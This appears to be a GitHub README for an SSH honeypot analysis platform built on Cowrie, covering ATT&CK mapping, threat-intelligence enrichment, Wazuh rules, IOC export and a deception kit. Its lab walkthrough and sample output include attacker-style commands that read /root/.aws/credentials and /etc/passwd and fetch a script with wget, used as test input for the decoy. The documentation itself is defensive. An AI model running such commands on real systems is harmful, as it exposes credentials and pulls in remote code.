Skip to content

About

Cowrie-based SSH honeypot platform: hardened deception kit, ATT&CK mapping, campaign detection, threat-intel enrichment, IOC export and a live attack-map dashboard. Docker-ready, egress-controlled.

Topics

Resources

Code of conduct

Contributing

Security policy

Stars

1 star

Watchers

0 watching

Forks

Repository files navigation

Surya Kundal

Turn raw SSH honeypot traffic into enriched, MITRE ATT&CK-mapped threat intelligence.

CI CodeQL Python 3.11+ License: MIT Release ATT&CK v19

Surya Kundal is the analysis layer for a Cowrie SSH honeypot. It reconstructs each attacker visit as a structured session, enriches source IPs and captured files with threat intelligence, maps behaviour to MITRE ATT&CK techniques, raises SIEM alerts through Wazuh, and presents the result in a read-only web dashboard. It also ships a deception kit that makes the honeypot harder to recognise.

Surya Kundal dashboard overview
The dashboard overview on the live deployment after two days: real attacker traffic, with the maintainer's own test sessions hidden.

Contents

Why this exists

A stock honeypot produces a log, not an answer. Raw cowrie.json is a stream of low-level events; an analyst wants to know who came, what they tried, whether it was the same actor as last week, and what to block. Surya Kundal closes that gap with a small, auditable pipeline that runs on a single free-tier server, and it is deliberately honest about what it cannot do (see Limitations).

Features

Area What it does
Session reconstruction Groups Cowrie's event stream into one record per visit: credentials, commands, files downloaded and uploaded (SHA-256), port-forwarding attempts, timing, SSH client version, HASSH fingerprint.
Storage SQLite with Alembic migrations. Imports are idempotent and failure-isolated; a live watcher follows the log across rotation and restarts.
Enrichment Offline geolocation and ASN (MaxMind GeoLite2), AbuseIPDB score and Tor exit check per IP, VirusTotal verdict per file. Each indicator is looked up once, and daily budgets stay within free-tier limits.
ATT&CK mapping 70+ reviewable rules map commands, logins, transfers and tunnelling to techniques. Each rule carries positive and negative examples, and every technique ID is validated against the vendored ATT&CK Enterprise v19 catalogue.
SIEM integration Wazuh rules generated from the same ATT&CK rules, so the database and the SIEM agree. Includes brute-force, rapid-reconnaissance and honeypot-fingerprinting alerts.
Dashboard Zoomable attack map with country and US state borders and per-address details (city, state, network, abuse score), session-depth funnel, fingerprinting-attempt panel, ATT&CK matrix, session drill-down and optional Wazuh alerts. Server-rendered, read-only, strict Content-Security-Policy.
Campaigns and IOC export Groups sessions that share a payload, script or tooling fingerprint, with the evidence for each link. Exports indicators (CSV, STIX 2.1, blocklist, nftables) with confidence scores; addresses that were only typed in commands are labelled unverified and need several independent sources.
Your own traffic stays out Sessions from private, loopback and configured networks (INTERNAL_NETWORKS) are tagged and excluded from the dashboard, exports and campaigns, so testing never pollutes real data.
Egress control cowrie/egress.sh blocks everything the honeypot could use to attack others or reach your network, fails closed while containers rebuild, and verifies itself from inside the container.
Deception kit Hardened Cowrie configuration, a believable Debian filesystem and login policy, decoy credentials and keys that draw operators in, and a documented threat model of what still gives a honeypot away.

Architecture

flowchart TD
    A[Attacker] --> B[Cowrie SSH honeypot]
    B -- cowrie.json --> C[Watcher and log parser]
    C --> D[(SQLite)]
    D --> E[ATT&CK mapper]
    D --> F[Enrichment worker]
    F -. GeoLite2, AbuseIPDB, Tor, VirusTotal .-> D
    E --> D
    D --> G[Web dashboard]
    B -- cowrie.json --> H[Wazuh manager and rules]
    H -- alert export --> G
Loading

Everything from the log parser onward is code in this repository. Cowrie is used unmodified as the capture engine; the deception kit only adds configuration and data files.

Quick start

Two ways to run it: the lab path below (Docker, about five minutes, nothing leaves your machine) or the from source path further down.

Try it in a lab

You attack your own honeypot from a second machine (for example Kali) and watch it appear on the dashboard. Do this on a lab network, not on the open internet.

You need Notes
A Linux machine or VM to host it (the honeypot host) 2 GB RAM, 5 GB disk, any distribution
Docker Engine with Compose v2 docker compose version should print a version
A second machine on the same network Kali, or any computer with an SSH client

1. On the honeypot host: get the code and set two values.

git clone https://github.com/TurlaFSB/SuryaKundal.git && cd SuryaKundal
cp .env.example .env && chmod 600 .env

Edit .env (the API keys can stay empty) and set:

DASHBOARD_TOKEN=choose-a-password-of-12-or-more-characters
COWRIE_BIND=0.0.0.0          # lets your other machine reach the honeypot; the default is localhost only
DASHBOARD_SHOW_INTERNAL=1    # lab traffic comes from private addresses, which are hidden by default

2. Start it.

docker compose --profile honeypot up -d --build
docker compose ps            # cowrie, pipeline and dashboard should all become "healthy"

3. From the second machine, attack it. Weak root passwords are accepted on purpose (123456, toor, admin):

ssh -p 2222 root@<honeypot-host-ip>
# inside: uname -a; cat /root/.aws/credentials; ls -la /root; wget http://example.com/x.sh

4. Watch it. The dashboard listens on the honeypot host's 127.0.0.1:8080 only. From the second machine, open a tunnel and browse to http://127.0.0.1:8081 (any username, the password is your DASHBOARD_TOKEN):

ssh -L 8081:127.0.0.1:8080 <user>@<honeypot-host-ip>

You should see your session on the overview, the commands you typed on its page, and ATT&CK techniques such as T1082 (system information) and T1552.001 (credentials in files). Allow up to a minute for it to appear. Check the whole pipeline at any time with docker compose exec pipeline surya-kundal doctor.

Stop and clean up: docker compose --profile honeypot down stops everything and keeps the data; add -v to delete the captured sessions as well.

Before exposing it to the internet, read docs/THREAT_MODEL.md, apply docs/EGRESS.md so a compromised honeypot cannot attack anyone, and follow docs/DEPLOYMENT_AWS.md for a cloud server.

From source

Requirements: Python 3.11 or newer and a running Cowrie instance (see cowrie/README.md for the settings used here).

git clone https://github.com/TurlaFSB/SuryaKundal.git
cd SuryaKundal
python3 -m venv .venv && source .venv/bin/activate
pip install -e ".[dashboard]"

cp .env.example .env && chmod 600 .env     # then fill in what you have; every key is optional
surya-kundal geoip update                  # one-off: fetch the GeoLite2 databases
surya-kundal run                           # capture, ATT&CK mapping and enrichment in one process

In a second terminal:

surya-kundal dashboard                     # http://127.0.0.1:8080

Docker in detail

The whole stack runs as hardened containers (unprivileged users, read-only root filesystems, no Linux capabilities, resource limits). Wazuh runs separately.

cp .env.example .env && chmod 600 .env     # set DASHBOARD_TOKEN (12+ characters)
docker compose --profile honeypot up -d --build
docker compose ps                          # all three services should become "healthy"
ssh -p 2222 root@127.0.0.1                 # try the honeypot (weak passwords are accepted on purpose)
  • Honeypot (cowrie) is Cowrie 3.1.1, pinned to an exact commit, with the deception kit applied at every start. The persona, host keys and boot time live in the cowrie_state volume, so a restart does not change what a scanner sees. It listens on 127.0.0.1:2222 unless you set COWRIE_BIND; read docs/THREAT_MODEL.md and apply docs/EGRESS.md before exposing it; docs/DEPLOYMENT_AWS.md is the step-by-step for a cloud server. COWRIE_POLICY=stealth accepts three exact logins instead of a few dozen weak ones.
  • Pipeline and dashboard read the honeypot's log through a shared read-only volume. To analyse a Cowrie that runs elsewhere, set COWRIE_LOG_DIR and omit the profile: docker compose up -d --build.
  • Only the pipeline receives .env (API keys for enrichment). The honeypot and dashboard get no other secrets.
  • The dashboard is published on http://127.0.0.1:8080 only; the password is DASHBOARD_TOKEN. docker compose logs -f cowrie follows the honeypot.

Releases

Tagged versions publish container images to GitHub Container Registry. Each image is signed with keyless Cosign and ships a CycloneDX SBOM, so you can check what you run:

cosign verify ghcr.io/turlafsb/surya-kundal:<version> \
  --certificate-identity-regexp '^https://github.com/TurlaFSB/SuryaKundal/' \
  --certificate-oidc-issuer https://token.actions.githubusercontent.com

See the CHANGELOG for what changed in each version.

Usage

surya-kundal run                  # the full pipeline; stop with Ctrl+C
surya-kundal ingest               # import an existing Cowrie log
surya-kundal watch                # follow the log live; resumes where it stopped
surya-kundal map                  # map sessions to ATT&CK techniques
surya-kundal enrich               # geolocation and threat intelligence
surya-kundal list                 # recent sessions with country, abuse score and Tor flag
surya-kundal techniques           # techniques seen, most common first
surya-kundal show <session-id>    # one session: commands with their techniques
surya-kundal dashboard            # read-only web UI
surya-kundal doctor               # check the installation; exit code 1 on failure
surya-kundal wazuh-rules          # generate the Wazuh rules
surya-kundal campaigns build|list|show  # group sessions into campaigns, with evidence
surya-kundal export               # indicators of compromise (CSV, STIX 2.1, blocklist, nftables)

Example output:

$ surya-kundal show 051b
Session 051b29d11c6c from 203.0.113.7 at 2026-10-05 07:11:23 UTC
  login rejected: root/123456
  login accepted: root/apple
  T1078.001 login-default-account (medium): login accepted for 'root'
  $ whoami
      -> T1033 discovery-current-user (high)
  $ cat /etc/passwd
      -> T1087.001 discovery-local-accounts (high)
  $ wget http://example.com/test/sh
      -> T1105 c2-download (high)

Sharing what you learn

surya-kundal export turns the database into indicators other tools can use: attacker addresses, file hashes and download URLs, each with first and last sighting, a confidence score, geography and the ATT&CK techniques seen. See docs/IOC_EXPORT.md for the formats, the confidence rules and the safety rules.

Before exposing the honeypot, lock down what it can reach: docs/EGRESS.md (cowrie/egress.sh). Running it unattended: docs/OPERATIONS.md covers backup and restore, retention (surya-kundal prune) and Prometheus metrics.

surya-kundal campaigns groups sessions that share a payload, script or tooling fingerprint, with the evidence for each group; see docs/CAMPAIGNS.md.

Measured quality

Two harnesses in evaluation/ give numbers instead of claims:

  • ATT&CK mapper: 105 hand-labelled commands; first run precision 0.90, recall 0.93, then fixed. See docs/MAPPER_ACCURACY.md.
  • Honeypot deception: 48 probes grouped by attacker class. Stock Cowrie passes 12, with the kit 35, which is every check configuration can fix. See docs/DECEPTION_TESTING.md.
surya-kundal export --format stix --output iocs.json          # STIX 2.1 for MISP, OpenCTI and others
surya-kundal export --format nftables --output block.nft      # firewall set whose entries expire
surya-kundal export --format blocklist --exclude 203.0.113.0/24

Configuration

Settings come from the environment or an untracked .env file. Every variable is optional; features whose keys are missing are skipped.

Variable Purpose Default
COWRIE_LOG_PATH Cowrie JSON log to read ~/cowrie/var/log/cowrie/cowrie.json
DATABASE_URL SQLAlchemy URL for the database sqlite:///data/surya_kundal.db
ABUSEIPDB_API_KEY Enables AbuseIPDB scoring unset
VIRUSTOTAL_API_KEY Enables VirusTotal file verdicts unset
MAXMIND_ACCOUNT_ID, MAXMIND_LICENSE_KEY GeoLite2 download credentials unset
GEOIP_DB_DIR GeoLite2 database directory data/geoip
TOR_EXIT_LIST_PATH Cached Tor exit list data/tor_exit_nodes.txt
WAZUH_ALERTS_PATH Wazuh alert export shown on the dashboard data/wazuh/wazuh_alerts.jsonl
DASHBOARD_TOKEN Dashboard password; required to listen beyond localhost unset
LOG_LEVEL Logging verbosity INFO

Components

Dashboard

A small, server-rendered Flask application served by waitress. It is read-only by construction: the database is opened read-only (SQLite refuses every write and nothing is created at startup), and the app has no write routes. Everything an attacker typed is HTML-escaped and stripped of control and invisible characters, and the Content-Security-Policy forbids inline script, inline style and external resources. It listens on localhost unless you pass --host, and the command refuses a non-local host unless DASHBOARD_TOKEN (at least 12 characters) is set; the token is then the HTTP Basic password, with wrong guesses throttled per address. Without a token, requests for any host name other than localhost are refused, which blocks DNS-rebinding. The server is plain HTTP, so put it behind a TLS reverse proxy before exposing it. The overview is cached for 15 seconds, and very large sessions are truncated on screen.

Wazuh

wazuh/ contains the generated rules, a manager-only Docker Compose file, sample events and logtest.sh, which verifies every sample against a real manager. Rules are tagged with ATT&CK techniques and verified on Wazuh 4.14.7. wazuh/export-alerts.sh copies the alerts into data/wazuh/, which the dashboard container reads (create the folder once with mkdir -p data/wazuh). The manager wants about 4 GB of RAM, so on a small cloud instance run it on another machine.

Deception kit

cowrie/ makes a stock Cowrie present as one consistent Debian 12 host: realistic uptime, /proc, package and login history, plausible credentials policy and command output. cowrie/FINGERPRINTING.md is a candid threat model: it lists what still identifies a honeypot to a capable adversary, so the kit raises the cost of detection rather than claiming invisibility.

ATT&CK mapping

Commands are split into simple commands (respecting quotes and bash -c nesting), stripped of wrappers such as sudo and absolute paths, and matched against rules.toml. Session-level evidence maps as well: repeated failed logins to password guessing, accepted default-account logins, file transfers to ingress tool transfer, port forwarding to proxy use. Sessions are re-mapped automatically when their activity or the rules change.

Data model

Table One row per Key fields
sessions attacker visit Cowrie session ID, source IP, start and end, duration, SSH client version, HASSH
logins credential attempt username, password, success flag
commands command typed command text, timestamp
downloads file fetched by the attacker URL, SHA-256
uploads file sent by the attacker (SFTP/SCP) filename, destination, SHA-256
tunnel_requests port-forwarding attempt destination and origin address and port
ip_geo attacker IP country, city, coordinates, ASN and organisation
ip_intel IP per provider AbuseIPDB confidence score, Tor exit flag, raw payload
file_intel file hash per provider VirusTotal detections, engine count, threat label
technique_matches rule that fired technique and tactics, rule ID, confidence, evidence, linked command
session_mappings mapped session rule set and ATT&CK version that produced the matches
ingest_offsets followed log file path, inode and saved read position

Project layout

src/surya_kundal/
    parser/        Cowrie log parsing
    database/      SQLAlchemy models, engine, storage, Alembic migrations
    enrichment/    GeoIP, AbuseIPDB, VirusTotal, Tor list, enrichment pass
    mapping/       ATT&CK catalogue, rules.toml, mapping engine
    dashboard/     Read-only Flask web UI (queries, app, templates, static)
    watcher.py     Live log following
    service.py     The one-process pipeline behind `surya-kundal run`
    wazuh.py       Wazuh rule generator
    config.py      Settings (environment and .env)
    textsafe.py    Safe handling of attacker-controlled text
    cli.py         The surya-kundal command
wazuh/             Generated rules, manager compose file, samples, logtest
cowrie/            Deception kit and threat model
docs/              Threat model and images used in this README
tests/             Unit, property-based, migration, dashboard and CLI tests

Design and engineering

  • Additive, idempotent storage. Sessions are merged, never rewritten. Importing a log twice creates no duplicates, a session saved mid-attack is completed when its closing events arrive, and row IDs stay stable. Unique constraints enforce event identity in the database itself.
  • Versioned schema. Alembic migrations, a test that fails when a model changes without one, and a clear refusal (not a stack trace) for databases from an incompatible older version.
  • A watcher built for real log files. It handles rotation, truncation, half-written lines and a missing log, saves its read position, retries failed writes a bounded number of times and shuts down cleanly on SIGINT and SIGTERM.
  • Attacker input is hostile. Output is escaped before it reaches a terminal or a browser, and the mapper bounds the size of everything it analyses so crafted input cannot cause pathological regular-expression run time. Property-based tests (Hypothesis) feed arbitrary text, JSON and control characters to the parser, mapper and sanitiser.
  • Free-tier discipline. Each IP and hash is queried once and cached; budgets are persisted so they survive restarts; a provider that reports its limit stops being called; one failure never blocks the rest.
  • Secrets. Read only from the environment or an untracked .env. HTTP clients never log request URLs, and the MaxMind downloader does not forward credentials across redirects.
  • Time and integrity. Timezone-aware UTC throughout, foreign keys enforced, WAL mode so a reader can work while the importer writes.
  • Quality gates in CI. On every push: the test suite on Python 3.11, 3.13 and 3.14 with a 90% coverage floor (currently about 95%), ruff lint and format including security rules, strict mypy, a wheel build exercised from a clean environment, pip-audit and CodeQL. Dependabot keeps dependencies current.

Documentation

Guide Read it when
docs/DEPLOYMENT_AWS.md putting the honeypot on a cloud server, step by step
docs/EGRESS.md restricting what the honeypot can reach (read before exposing it)
docs/OPERATIONS.md backups, retention, metrics, your own traffic
docs/THREAT_MODEL.md understanding the platform's risks and what still gives a honeypot away
docs/IOC_EXPORT.md sharing indicators with other tools
docs/CAMPAIGNS.md how sessions are grouped, and what does not link them
docs/MAPPER_ACCURACY.md, docs/DECEPTION_TESTING.md the measured results
wazuh/README.md, cowrie/README.md the SIEM rules and the honeypot kit

Limitations

  • ATT&CK mapping is pattern matching, not a shell interpreter. It does not follow variables or decode payloads, and a rule's confidence describes how specific its pattern is, not how dangerous the command is.
  • Wazuh cannot split command lines, so its rules are a coarser view than the database mapping. The database is the complete record.
  • Cowrie is an emulation. A capable adversary can still recognise it; see cowrie/FINGERPRINTING.md for the residual tells.
  • Egress is blocked by default, so a malware download is recorded as an attempted fetch (the address) and not as a captured file. captures mode, described in docs/EGRESS.md, allows controlled retrieval.
  • GeoLite2 locations are approximate, and the project has not yet been run against real internet traffic (see the roadmap).

Security

Report vulnerabilities privately as described in SECURITY.md; the platform's own risks are analysed in docs/THREAT_MODEL.md. Operating notes:

  • Run the honeypot on an isolated host, never next to real services.
  • Restrict the honeypot host's outbound traffic: Cowrie performs real downloads when an attacker runs wget.
  • Honeypot logs, captured malware, databases and .env files are git-ignored. Treat captured files as live malware.
  • Keep the dashboard on localhost, or set DASHBOARD_TOKEN and place it behind TLS.

Roadmap

Phase Scope State
0 Repository, tests, CI Done
1 Cowrie capture and log parser Done
2 Database layer and live watcher Done
3 Threat-intelligence enrichment Done
4 MITRE ATT&CK mapping engine Done
5 Wazuh rules Done (verified on Wazuh 4.14.7)
6 Web dashboard Done
7 Docker Compose for the full stack Done: pipeline, dashboard and honeypot containers, image scanning, SBOM
8 Cloud deployment and real-world data collection In progress: deployed on a hardened AWS instance and recording real attacks; v0.2.0 released
9 Write-up and demonstration Planned

Only free tiers and free offline datasets are used; no paid service is required.

Contributing

Issues and pull requests are welcome; see CONTRIBUTING.md and the CHANGELOG. Before opening a pull request, run the same checks as CI:

pip install -e ".[dev]"
ruff format --check . && ruff check . && mypy && pytest

New ATT&CK rules belong in rules.toml with at least one example that must match and one that must not; after editing it, regenerate the Wazuh rules with surya-kundal wazuh-rules --output wazuh/rules/surya_kundal_cowrie_rules.xml (CI fails if the committed file is stale).

License and acknowledgements

Released under the MIT License.

  • Cowrie, the honeypot used as the capture engine.
  • This product includes GeoLite2 data created by MaxMind. The databases are git-ignored and must not be redistributed.
  • MITRE ATT&CK(R) is a registered trademark of The MITRE Corporation. Technique data is from the Enterprise ATT&CK dataset, (c) The MITRE Corporation, reproduced with permission.
  • Wazuh, AbuseIPDB and VirusTotal provide the SIEM and threat-intelligence integrations.

About

Cowrie-based SSH honeypot platform: hardened deception kit, ATT&CK mapping, campaign detection, threat-intel enrichment, IOC export and a live attack-map dashboard. Docker-ready, egress-controlled.

Topics

Resources

Code of conduct

Contributing

Security policy

Stars

1 star

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages